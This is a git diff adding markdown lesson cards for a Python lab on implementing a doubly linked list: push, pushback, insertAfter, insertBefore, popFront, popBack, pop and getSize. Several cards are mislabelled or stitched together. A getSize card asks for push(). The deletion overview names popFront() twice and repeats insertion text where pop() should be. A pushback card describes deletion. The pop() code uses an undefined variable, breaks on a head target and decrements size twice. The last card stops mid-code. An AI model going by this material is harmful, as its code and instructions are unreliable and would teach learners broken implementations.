+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/4.md
@@ -0,0 +1,51 @@
+
+
+
+
+
+
+ 
+
+We will have the following five methods of inserting an item in doubly linked lists:
+
+- insert in an empty list
+- insert at the start
+- insert at the end
+- insert after another item
+- insert before another item
+
+These are extremely useful for editing a doubly linked list because you can add in very specific ways with different methods.
+
+For each method, you will need to write a function that does the specific insertion in the doubly linked list. Remember that all manipulations to the linked list require careful modification of the pointers. A useful tip would be writing a doubly linked list on paper with proper pointers pointing at specific nodes. As you design the functions, you can erase the original pointing line and draw a new one to see what happens.
+
+Below are the descriptions of each method that you will implement:
+
+**Inserting Items in an Empty List**
+
+- Write a function called **push()** that takes in the element you want to insert as the parameter.
+ - Check whether the list is empty.
+ - If this is an empty list, insert the new node. Otherwise, you will continue to the next step below, "inserting items at the start."
+
+**Inserting Items at the Start**
+
+- Adding to the **push()** function, if the list is not empty, it should insert the new node as the head of the list.
+
+**Inserting Items at the End**
+
+- The function **pushback()** will take one element as a parameter.
+ - First, check if this is an empty list.
+ - If the list is not empty, insert the new node as the tail of the list.
+
+**Inserting Item After Another Item**
+
+- Define a function called **insertAfter()**, which will take two parameters: the value of the new node and the node to be inserted after.
+ - Check if it's an empty list because you don't want to "insert" after an empty list.
+ - If the list isn't empty but the selected node to be inserted after is absent, print the message, "Target not found."
+ - If the node exists in the list, insert the new node after the selected node.
+
+**Inserting Item Before Another Item**
+
+- Define a function called **insertBefore()**, which will take two parameters for the value of the new node and the node to be inserted after.
+ - Check if it's an empty list.
+ - If it's not an empty list, but the selected node to be inserted after is not found, print the message, "Target not found."
+ - If the node exists in the list, insert the new node before the selected node.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/41.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/41.md
new file mode 100644
index 00000000..cb168a1b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/41.md
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+**Step 1: getSize()**
+
+Define a function called **push()**. This function will take a value as the parameter. Inside this function, you need to check whether the list is empty. (Hint: Check the status of the head node.)
+
+Recall the member variable in your **DoublyLinkedList** class. How do you extract the member variable to return the length of your doubly linked list?
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/42.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/42.md
new file mode 100644
index 00000000..6db98063
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/42.md
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+**Step 1: Normal Operations of push()**
+
+We will expand from the function **push()**, which you just defined for inserting the item into an empty list.
+
+You already have the initial condition checks in this function. Now, you need to complete the condition when the list is not empty.
+
+If this is not an empty list, update the pointers of the original head node with the new node. (Hint: What would happen to the previous pointer of the old head node if you add a new head node into the list. What about the pointers of the new head node?)
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/421.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/421.md
new file mode 100644
index 00000000..6cb21b14
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/421.md
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+**Step 1: Making the node**
+
+The first function that will be made for this class is `push(self, newData)`, which adds a new node to the **head** of the list.
+
+We are going to create a new node with any `newData` that we want and insert it at the `head` of the list.
+
+First, we call the `Node` method to make the incoming data a node that we can add to the linked list.
+
+```python
+def push(self, newData):
+ newNode = Node(newData)
+```
+
+**Step 2: Pointing to self.head**
+
+The function `push()` relies on `self.head` to keep track of the first node. You can think of this process as cutting to the front of the line. You are the `newNode` and you insert yourself in front of the first person in line.
+
+Here, we're using **dot notation**, which allows us to access and reset variables in the constructor methods of classes. We set our new node to point to the current head of the list by using `.next` from our `Node()` class and `self.head` from our `DoublyLinkedList()` class, where the first node in the list is stored.
+
+```python
+ # newNode -> self.head
+ newNode.next = self.head
+```
+
+**Step 3: Pointing back to the new node**
+
+Next, we set `self.head`'s previous pointer to our new node, so now `newNode` is ahead of the value at `self.head`. Again, we use dot notation with `.prev` from the `Node` class. Note that we only do this if the list is **not** empty, since we can't set pointers in an empty list.
+
+```python
+ # If the list is not empty
+ if self.head != None:
+ self.head.prev = newNode
+```
+
+**Step 4: Pushing to an empty list**
+
+If pushing to an empty list, you can just make the head and tail the new nodes. We use dot notation once again, setting `newNode` to both self variables. We need to set both the head and tail so that if another method is used on the list afterwards, both can be accessed for adding or removing nodes.
+
+```python
+ # If the list is empty
+ else:
+ self.head = newNode
+ self.tail = newNode
+```
+
+**Step 5: Finalizing the new head**
+
+The last two steps are crucial for the viability of our linked list. First, we must set the `self.head` pointer to `newNode` so that it becomes the new head of the list. You are now at the **front** of the line, with the `head` pointing at you and the person behind you being `next`.
+
+**Step 6: Incrementing the list size**
+
+Lastly, we increment the size of the list by one by editing the size variable in our `DoublyLinkedList` class constructor method.
+
+```python
+ # The head is now the new node
+ self.head = newNode
+ self.size += 1
+```
+
+Here is a graphic illustrating the changes in the pointers at the front of the linked list when we call the push method.
+
+
+
+Here is the completed code for the `push(self, newData)` method:
+
+```python
+def push(self, newData):
+ newNode = Node(newData)
+
+ # newNode -> self.head
+ newNode.next = self.head
+
+ # If the list is not empty
+ if self.head != None:
+ self.head.prev = newNode
+
+ # If the list is empty
+ else:
+ self.head = newNode
+ self.tail = newNode
+
+ # The head is now the new node
+ self.head = newNode
+ self.size += 1
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/43.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/43.md
new file mode 100644
index 00000000..de3fbe74
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/43.md
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+**Step 1: pushback()**
+
+Define a function called **pushback()**, which also takes a value as the parameter to initialize the element of a new node. Of course, as you may have guessed, we need to check the empty list again! If the list is empty, simply make a new head node with the given value.
+
+If this list already contains some elements, we need to traverse through the list until we reach the tail pointer. The next pointer of the tail will be `None`; this is the base case to stop your while-loop at.
+
+As you come to the last node of the list, simply apply the logic as you insert a new node at the front. However, we are inserting at the end, so the pointers adjustment will be a bit different.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/431.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/431.md
new file mode 100644
index 00000000..289c79af
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/431.md
@@ -0,0 +1,119 @@
+
+
+
+
+
+
+# 4-3-1 Step 1
+
+## name
+```
+**Step 1: Making the node**
+```
+## md_content
+```
+The next function we will work on is `pushback(self, newData)`.
+
+Just like `push(self, newData)`, the function `pushback(self, newData)` adds a new node to the list, but adds to the **back** or `tail` of it. It is similar to the `append()` function on a normal list.
+
+Just like in the push method, we first turn our data into a new node.
+```
+
+## code_snippet
+```python
+def pushback(self, newData):
+
+ # Initialize new node
+ newNode = Node(newData)
+```
+
+# 4-3-1 Step 2
+
+## name
+```
+**Step 2: The temp pointer**
+```
+
+## md_content
+```
+The function relies on `self.tail` to keep track of the last node. For this example, you can think of this as going to the back of the line. If the list is not empty, then we have a `temp` pointer pointing to the last node, `self.tail`. We make `temp.next` point to `newNode` and `newNode.prev` point back to temp. This establishes the `next` and `prev` connection between `temp` and `newNode`, so `newNode` is now at the end of the list. Now, we just have to set `newNode` as the new tail.
+
+Note the order of setting the values in the body of the if statement. We have to set the temp variable first to manipulate the pointers to and from the original tail of the list before setting the new node as the new tail using `self.tail`.
+```
+
+## code_snippet
+```python
+ # If the list is not empty
+ if self.head != None:
+ temp = self.tail
+ temp.next = newNode
+ newNode.prev = temp
+ self.tail = self.tail.next
+```
+
+# 4-3-1 Step 3
+
+## name
+```
+**Step 3: Pushing to an empty list**
+```
+
+## md_content
+```
+In the case of using `pushback` on an empty list, just make `newNode` the head and tail.
+This image depicts how the pointers change when you use the method to add a new tail.
+
+Lastly, we increment the size of the list by one, just like we did with the push function.
+```
+
+## image
+```
+
+```
+
+## code_snippet
+```python
+ # If the list is not empty
+ if self.head != None:
+ temp = self.tail
+ temp.next = newNode
+ newNode.prev = temp
+ self.tail = self.tail.next
+```
+
+# 4-3-1 Step 4
+
+## name
+```
+**Step 4: Final implementation**
+```
+
+## md_content
+```
+This is the completed code for the `pushback(self, newData)` method:
+```
+## code_snippet
+```python
+def pushback(self, newData):
+
+ # Initialize new node
+ newNode = Node(newData)
+
+ # If the list is not empty
+ if self.head != None:
+ temp = self.tail
+ temp.next = newNode
+ newNode.prev = temp
+ self.tail = self.tail.next
+
+ # If the list is empty
+ else:
+ self.head = newNode
+ self.tail = newNode
+
+ # Increment size
+ self.size += 1
+```
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/44.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/44.md
new file mode 100644
index 00000000..b733e175
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/44.md
@@ -0,0 +1,23 @@
+
+
+
+
+
+
+**Step 1: Empty List Check**
+
+The **insertAfter()** method takes two parameters: the value you want to insert, and the node that you want to insert after. We cannot insert a node after another if the list contains no nodes. This is why we need the empty list check!
+
+If the list is empty, you can return.
+
+**Step 2: Traversal**
+
+Otherwise, you will do something similar to **pushback()** where you traverse the list until you find the node that you want to insert the value after.
+
+**Step 3: Pointers and Insertion**
+
+If you don't find the node after the tail node, you should insert the new node into the tail node.
+
+If the node exists in the list, insert the new node after the selected node. To do this, you need to adjust the next and previous pointers to the new node, the node (A) that it'll be inserted after, and the node after the node A.
+
+Make sure your pointers are set up properly because this is the key to this function.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/441.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/441.md
new file mode 100644
index 00000000..fec4bc81
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/441.md
@@ -0,0 +1,120 @@
+
+
+
+
+
+
+**Step 1: Check for an empty list**
+
+We learned how to insert at the front and back of the list, but what about the middle, or after a certain value?
+
+This next function, `insertAfter(target, newData)`, will allow us to do just that. `target` is the node you want to insert after, and `newData` will be the new node proceeding `target`. If we wanted to insert a new node after the node containing the value 17, we would call `insertAfter(17, newData)`.
+
+First, we will check if the list is empty.
+
+**Step 2: Setting up the curr variable**
+
+If it's not, then we set a variable `curr` to the head (first node) of the list, which we will later use to find the target.
+
+```python
+def insertAfter(self, target, newData):
+
+ # 1. If the list is empty
+ if self.head == None:
+ return
+
+ else:
+ curr = self.head
+```
+
+**Step 3: Iterating through the list to find the target**
+
+Next, we use a while-loop to iterate through the linked list to find the target value. So long as the value at `curr` is not the target's value, we set `curr` to the following node using `next` and dot notation. Once the data at `curr` is equal to `target`, we exit the while-loop. If we get to the end of the list and we haven't found the target, then `curr` will equal None in the last iteration of the while-loop. The if statement will then be evaluated, and we will exit the method.
+
+```python
+ # 2. Search for target node
+ while curr.data != target:
+ curr = curr.next
+
+ if curr == None:
+ print("Target not found.")
+ return
+```
+
+**Step 4: Inserting the new node after the target**
+
+If `target` is found, we skip the if statement, initialize a `newNode` with the `newData`, and establish connections for `next` and `prev` between the new node and `curr`. We have to first set the new node to point back at `curr`, and then set `newNode` to point towards the node after `curr`.
+
+```python
+ # 3. If target was found, curr != None
+ newNode = Node(newData)
+ newNode.prev = curr
+ newNode.next = curr.next
+```
+
+**Step 5: Pointing back at the new node**
+
+Check that the new node is not the last node in the list. If it's not, then we set the node after `curr` to point back at `newNode`. If we inserted after the last node in the list, `newNode.next` will already point to `None`, so we can just set the new node as `self.tail`, shown in the else statement.
+
+```python
+ # 4. If curr is not the last node
+ if curr.next is not None:
+ curr.next.prev = newNode
+
+ else:
+ self.tail = newNode
+```
+
+**Step 6: Pointing towards the new node**
+
+To finalize the position of `newNode`, we set `curr` to point to `newNode`, which completes the connection between `newNode` and the values before and after it.
+
+Lastly, we increment `self.size` by one to track the addition of the new node.
+
+```python
+ # 5. Connect the current node with the new node
+ curr.next = newNode
+
+ # Increment size
+ self.size += 1
+```
+
+Here is the complete code for `insertAfter(self, target, newData)`:
+
+```python
+def insertAfter(self, target, newData):
+
+ # 1. If the list is empty
+ if self.head == None:
+ return
+
+ else:
+ curr = self.head
+
+ # 2. Search for target node
+ while curr.data != target:
+ curr = curr.next
+
+ if curr == None:
+ print("Target not found.")
+ return
+
+ # 3. If target was found, curr != None
+ newNode = Node(newData)
+ newNode.prev = curr
+ newNode.next = curr.next
+
+ # 4. If curr is not the last node
+ if curr.next is not None:
+ curr.next.prev = newNode
+
+ else:
+ self.tail = newNode
+
+ # 5. Connect the current node with the new node
+ curr.next = newNode
+
+ # Increment size
+ self.size += 1
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/45.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/45.md
new file mode 100644
index 00000000..4dc9604e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/45.md
@@ -0,0 +1,17 @@
+
+
+
+
+
+
+**Step 1: insertBefore()**
+
+This is the last method for inserting the item, which will be inserted before another one in the list. In **insertBefore()**, you will take in two parameters, which are the value and the node to be inserted before.
+
+If this is an empty list, you should simply return.
+
+Otherwise, we will iterate through all the nodes in the doubly linked list. In case the node coming before our desired location for the new node is absent, just print, "Target not Found." and return.
+
+If the selected node exists in the list, break out your traversing loop and insert the new node in before the selected node.
+
+You will need to adjust the pointers for both nodes after the insertion. If the node to be inserted before is the head node, what would the previous pointer of the new node be?
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/451.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/451.md
new file mode 100644
index 00000000..95c7ed39
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/451.md
@@ -0,0 +1,112 @@
+
+
+
+
+
+
+**Step 1: Check for an empty list and set curr**
+
+The function `insertBefore(target, newData)` is very similar to the previous function we did. If we wanted to insert a new node before the node containing the value 17, we would call `insertBefore(17, newData)`.
+
+We start out the same way as `insertAfter`, checking that the list is not empty. We set `curr` to the head of the list.
+
+```python
+def insertBefore(self, target, newData):
+
+ # If the list is empty
+ if self.head == None:
+ return
+
+ else:
+ curr = self.head
+```
+
+**Step 2: Iterating through the list to find the target**
+
+We use the same while-loop and if statement as the insert after the function as well. We iterate through the linked list by continuously setting `curr` to the node after it until the data there equals the target value. If `curr` is equal to `None`, we were not able to find the target in the list, so we exit the method after printing.
+
+```python
+ # 2. Search for target node
+ while curr.data != target:
+ curr = curr.next
+ if curr == None:
+ print("Target not found.")
+ return
+```
+
+**Step 4: Inserting the new node before the target**
+
+Once the data at `curr` equals `target`, we can insert `newData`. We make a node out of that value, then we set the pointers accordingly. First, set `newNode` to point back to the value before `curr`. Then, set `newNode` to point to `curr`. This positions the new node before `curr`.
+
+```python
+ # 3. If target was found, curr != None
+ newNode = Node(newData)
+ newNode.prev = curr.prev
+ newNode.next = curr
+```
+
+**Step 5: Pointing to the new node**
+
+Check to see if we inserted before the head of the list. If not, then we can set the node before `curr` to point to the new node. Otherwise, `newNode` is already at the start of the list, and `newNode.prev` will already point to `None`. If we are at the first node, we will set the new node as `self.head`.
+
+```python
+ # 4. If curr is not the first node
+ if curr.prev != None:
+ curr.prev.next = newNode
+
+ else:
+ self.head = newNode
+```
+
+**Step 6: Pointing back at the new node**
+
+The last step in situating the new node is to set it before `curr` as `newNode` by making the current node's `prev` point to the new node. Now, `newNode` is before `curr` and after the node originally before `curr`.
+
+Finally, we increment the size of the linked list by one.
+
+```python
+ # 5. Connect the current node with the new node
+ curr.prev = newNode
+
+ # Increment size
+ self.size += 1
+```
+
+This is the completed code for `insertBefore(self, target, newData)`:
+
+```python
+def insertBefore(self, target, newData):
+
+ # If the list is empty
+ if self.head == None:
+ return
+
+ else:
+ curr = self.head
+
+ # 2. Search for target node
+ while curr.data != target:
+ curr = curr.next
+ if curr == None:
+ print("Target not found.")
+ return
+
+ # 3. If target was found, curr != None
+ newNode = Node(newData)
+ newNode.prev = curr.prev
+ newNode.next = curr
+
+ # 4. If curr is not the first node
+ if curr.prev != None:
+ curr.prev.next = newNode
+
+ else:
+ self.head = newNode
+
+ # 5. Connect the current node with the new node
+ curr.prev = newNode
+
+ # Increment size
+ self.size += 1
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/5-CHECKPOINT.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/5-CHECKPOINT.md
new file mode 100644
index 00000000..a96b05c0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/5-CHECKPOINT.md
@@ -0,0 +1,7 @@
+## Checkpoint 3: For `pop` and `insert` checkup
+
+Name: For `pop` and `insert` checkup
+
+Instruction: In a video, please explain how you coded your functions for popping elements (**popFront()**, **popFront()**, and **pop()**) and inserting elements (**pushback()**, **insertAfter()**, and **insertBefore()**). What are the differences between each of the popping functions and each of the inserting functions?
+
+Type: Video
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/5.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/5.md
new file mode 100644
index 00000000..2528bcec
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/5.md
@@ -0,0 +1,53 @@
+
+
+
+
+
+
+ 
+
+Similar to insertion, there are also multiple ways to delete elements from a doubly linked list, which are the same as introduced in the previous card. Check out the description and implement these functions in your doubly linked list class.
+
+**Deleting Elements From the Start**
+
+- Define a function called **popFront()**, which does not take in any parameter.
+ - If the list is empty, return.
+ - Otherwise, delete the head node.
+
+**Deleting Elements From the End**
+
+- Define a function called **popFront()**, which also takes no parameter.
+ - If the list is empty, return.
+ - Otherwise, delete the tail node.
+
+**Deleting Elements by Value**
+
+Write a function called **pop()**. In this method, you need to think carefully since several cases need handling in order to remove an element by value.
+
+- Continuing from the **push()** function, if the list is not empty, it should insert the new node as the head of the list.
+
+**Inserting Items at the End**
+
+- The function **pushback()** will check if this is an empty list.
+
+- If not an empty list, insert the new node as the tail of the list.
+
+
+**Inserting Item After Another Item**
+
+- Define a function called **insertAfter()**, which will take two parameters: the value of the new node and the node to be inserted after.
+
+- Check if the list is empty because you don't want to "insert" after an empty list.
+
+- If it's not an empty list, but the selected node to be inserted is not found, print the message, "Target not found."
+
+- If the node exists in the list, insert the new node after the selected node.
+
+
+**Inserting Item Before Another Item**
+
+- Define a function called **insertBefore()** which will take two parameters for the value of the new node and the node to be inserted after.
+- Check the empty list.
+- If it's not an empty list, but the selected node to be inserted is not found, print the message, "Target not found."
+- If the node exists in the list, insert the new node before the selected node.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/51.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/51.md
new file mode 100644
index 00000000..63661ee6
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/51.md
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+**Step 1: popFront()**
+
+If a list is empty, its head node should have a `None` value, then you can return.
+
+If the list only contains one node, your list will have no elements after this operation. Then, what should your head node status be?
+
+If the list contains more than one node, change your head node and the previous pointer of the original head node.
+
+ 
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/511.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/511.md
new file mode 100644
index 00000000..a0b240d8
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/511.md
@@ -0,0 +1,37 @@
+
+
+
+
+
+
+**Step 1: popFront()**
+
+Now that we know how to add nodes to the list, let's learn how to *remove* nodes from the list.
+
+First, let's remove from the **head** of the list. We will rely on `self.head` since it points to the first node in the list.
+
+This function will be called `popFront()`.
+
+```python
+def popFront(self):
+
+ # 1. If the list is not empty
+ if self.head == None:
+ return
+
+ else:
+ # 2. If there ISN'T only one node
+ if self.head.next != None:
+ self.head = self.head.next
+ self.head.prev = None
+
+ # 3. If there's only one node
+ else:
+ self.head = None
+ self.tail = None
+
+ # Decrement size
+ self.size -= 1
+```
+
+For `popFront()`, we will check if the list is empty, then check if there is more than one node in the list and set `self.head` to the next node. Now that `self.head` is the second node in the list, we can now get rid of the connection to the previous node. If there is only one node in the list, just make the head and tail point to `None`.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/52.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/52.md
new file mode 100644
index 00000000..1326bba3
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/52.md
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+**Step 1: popBack()**
+
+The **popBack()** takes in no parameters. In this function, you need to check whether the list is empty. If yes, then simply return.
+
+If the list only contains one element, then change the value of your head and tail nodes in the list, emptying the list because you're removing the only node.
+
+Otherwise, traverse the list to the tail node, remove that node, and assign a new tail node.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/521.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/521.md
new file mode 100644
index 00000000..7bb85e21
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/521.md
@@ -0,0 +1,39 @@
+
+
+
+
+
+
+**Step 1: pushback(newData)**
+
+The next function we will work on is `pushback(newData)`.
+
+Just like `push(newData`), the function `pushback(newData)` adds a new node to the list, but to the **back** or `tail` of the list. It is similar to the `append` function on a normal list.
+
+```python
+def pushback(self, newData):
+
+ # Initialize new node
+ newNode = Node(newData)
+
+ # If the list is not empty
+ if self.head != None:
+ temp = self.tail
+ temp.next = newNode
+ newNode.prev = temp
+ self.tail = self.tail.next
+
+ # If the list is empty
+ else:
+ self.head = newNode
+ self.tail = newNode
+
+ # Increment size
+ self.size += 1
+```
+
+The function `pushBack(newData)` relies on `self.tail` to keep track of the last node. For this example, you can think of this as going to the back of the line. In the case of using `pushback` on an empty list, just make `newNode` the head and tail.
+
+If the list is not empty, then we have a `temp` pointer pointing to the last node, `self.tail`. We make `temp.next` point to `newNode` and `newNode.prev` point back to temp. This established the `next` and `prev` connection between `temp` and `newNode`. Now, we just have to set `newNode` as the new tail.
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/53.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/53.md
new file mode 100644
index 00000000..e1f1cc3d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/53.md
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+**Step 1: pushback()**
+
+Define a function called **pushback()**, which will also take a value as the parameter to initialize the element of a new node. Of course, as you may have guessed, we need to check the empty list again! If the list is empty, simply make a new head node with the given value.
+
+Same procedure here, check whether the list is empty. If yes, then simply return.
+
+Otherwise, traverse the list to find the nodes that match the given value. If no node has the given value, then return the message, "Target not found." If you find a node with the given value, then remove that node from the list.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/531.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/531.md
new file mode 100644
index 00000000..58ce1524
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/531.md
@@ -0,0 +1,41 @@
+
+
+
+
+
+
+**step 1: pop(self, target)**
+
+This next function will allow us to delete any existing node we want from the list.
+
+```python
+def pop(self, target):
+
+ # 1. Check if the list is empty
+ if self.head == None:
+ return
+
+ else:
+ # 2. Search for target
+ while curr.data != target:
+ curr = curr.next
+
+ if curr == None:
+ print("Target not found.")
+ return
+
+ # 3. If curr is not the last node
+ if curr.next != None:
+ temp = curr.next
+ curr.prev.next = temp
+ temp.prev = curr.prev
+
+ # 4. If curr is the last node, use popBack()
+ else:
+ self.popBack()
+
+ # Decrement size
+ self.size -= 1
+```
+
+For `pop(target)`, we will check if the list is empty, then search for the target node. Once we have the target, we check if it's not the last node because the process in deleting a middle node and the last node are different. If the target node is not the last node, then we would create a `temp` pointer to the `next` node and point it before the target, `curr.prev.next`, to `temp`. Now, we can set temp's `prev` pointer to curr's `prev`.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/6.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/6.md
new file mode 100644
index 00000000..17d90912
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/6.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+Although the keyword `list` in Python has a built-in function called `len()` that returns the number of entries in a list, this doesn't work on doubly linked lists. We need to write a function to do the same thing for our doubly linked list.
+
+Define a function called **getSize()** that returns the number of nodes in your doubly linked list.
+
diff --git a/Module4_Labs/Lab2_Doubly_Linked_List/Cards/61.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/61.md
similarity index 100%
rename from Module4_Labs/Lab2_Doubly_Linked_List/Cards/61.md
rename to Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/61.md
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/611.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/611.md
new file mode 100644
index 00000000..03ad6cb1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/611.md
@@ -0,0 +1,17 @@
+
+
+
+
+
+
+**Step 1: Accessing the `self` Variable**
+
+The `size` function will be very easy to implement since we already have the class variable, `self.size`
+
+Since we have been keeping count of each node after pushing and popping nodes, all we have to do is return the variable `self.size` for this.
+
+```python
+def getSize(self):
+ return self.size
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/612.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/612.md
new file mode 100644
index 00000000..fa8ac35f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Lab2_Doubly_Linked_List/Cards/612.md
@@ -0,0 +1,62 @@
+
+
+
+
+
+
+**Step 1: Regular Operation**
+
+Now, if the list is not empty, let's continue coding the removing process.
+
+We can first check if there is more than one node in the list and set `self.head` to the next node. Now that `self.head` is the second node in the list, we can now get get rid of the connection to the previous node.
+
+```python
+ else:
+ # 2. If there ISN'T only one node
+ if self.head.next != None:
+ self.head = self.head.next
+ self.head.prev = None
+```
+
+**Step 2: Checking the Edge Case**
+
+If there is only one node in the list, we would just make the head and the tail point to `None`.
+
+```python
+ # 3. If there IS only one node
+ else:
+ self.head = None
+ self.tail = None
+```
+Then, after we remove a node from our list, we have remember to decrease the size of the list.
+
+```python
+ # Decrement size
+ self.size -= 1
+```
+
+**Step 3: Putting it Together**
+
+With that, our `popFront()` function is complete!
+
+```python
